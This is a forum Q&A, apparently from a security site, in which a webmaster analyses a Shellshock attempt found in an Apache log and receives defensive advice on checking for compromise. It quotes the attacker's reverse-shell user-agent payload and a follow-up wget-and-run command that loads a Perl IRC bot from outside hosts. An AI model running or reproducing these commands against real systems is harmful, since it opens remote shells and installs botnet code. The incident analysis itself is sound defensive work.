What does this attempted Shellshock exploit do, and has my website been compromised?

Question

I grepped my Apache's access.log today for the now infamous () { string, and besides a bunch of what seemed like pings to check how many servers are vulnerable, I found this attempt, which looked like a genuine attack:

94.23.193.131 - - [26/Sep/2014:05:48:53 +0200] "GET / HTTP/1.0" 200 29271 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

What I did next was to see what that TCP connection did; I cat-ed the result of it:

user@localhost:~# cat < /dev/tcp/195.225.34.101/3333
cat < /dev/tcp/195.225.34.101/3333
wget -O /tmp/.lCE-unix http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38 443;rm -rf /tmp/.lCE-unix;uptime

If I'm reading it right, it wgets a Perl script hosted at http://202.137.176.146/icons/xt.dat (Copy of the script on Pastebin), outputs it to /tmp/.lCE-unix, executes it, then removes itself again.

Looking at the script itself, what I think I'm seeing is that it attempts to connect to an IRC server at IP 81.18.135.38, port 443, using a connection password 45QOhktzhwR4Ai, user 'opus', then tries to join channel '##n3' (if I'm right).

I'll admit I just wanted to share this somewhere. Actual questions though:

1. The attack was handled by Apache, which probably forwarded the request to Wordpress hosted at /, a 3.x version. I don't think it was ever executed by Bash, but can anyone confirm this?
2. How can I check whether the attack was successful? I've run commands like netstat and lsof but couldn't find any out of the ordinary connections besides my own SSH session, the webserver, etc. No connections to any of the given IP addresses, no Perl processes running.
3. Is this a known exploit? I couldn't find much in a search, although there's a thread on the Redhat mailing list from 2005 that seems to reference to the file.
4. Should I report some of those IP addresses to the authorities? And if so, which? I can imagine the FBI and who not would like to take down the C&C server being referred to.

Answer 1

1. If you use the apache php module or fastcgi and not CGI, the parameter would never get to bash. Even if you used CGI, it would only get to bash if Wordpress somehow used called a bash script during its execution (someone more knowledgeable in Wordpress could tell the probability of that happening).
2. You could monitor for suspicious network connections with lsof and netstat, but if the attacker dropped a rootkit, it could hide from those tools. You could check your system by taking it offline, booting from a different medium and do some integrity checking (debsums, rkhunter, etc.). To install a rootkit, the attacker would need a local root exploit as well, as this attack would only gain a shell for the webserver's user.
3. Sorry, I don't know that, but taking controls from IRC is pretty common for bots AFAIK, so in the general sense it seems a pretty common attack applied using shellshock.
4. You could, and it may be useful even if the attacker is a bot itself (this is probable). If it is a TOR exit node, however, then the IP address does not carry any useful info.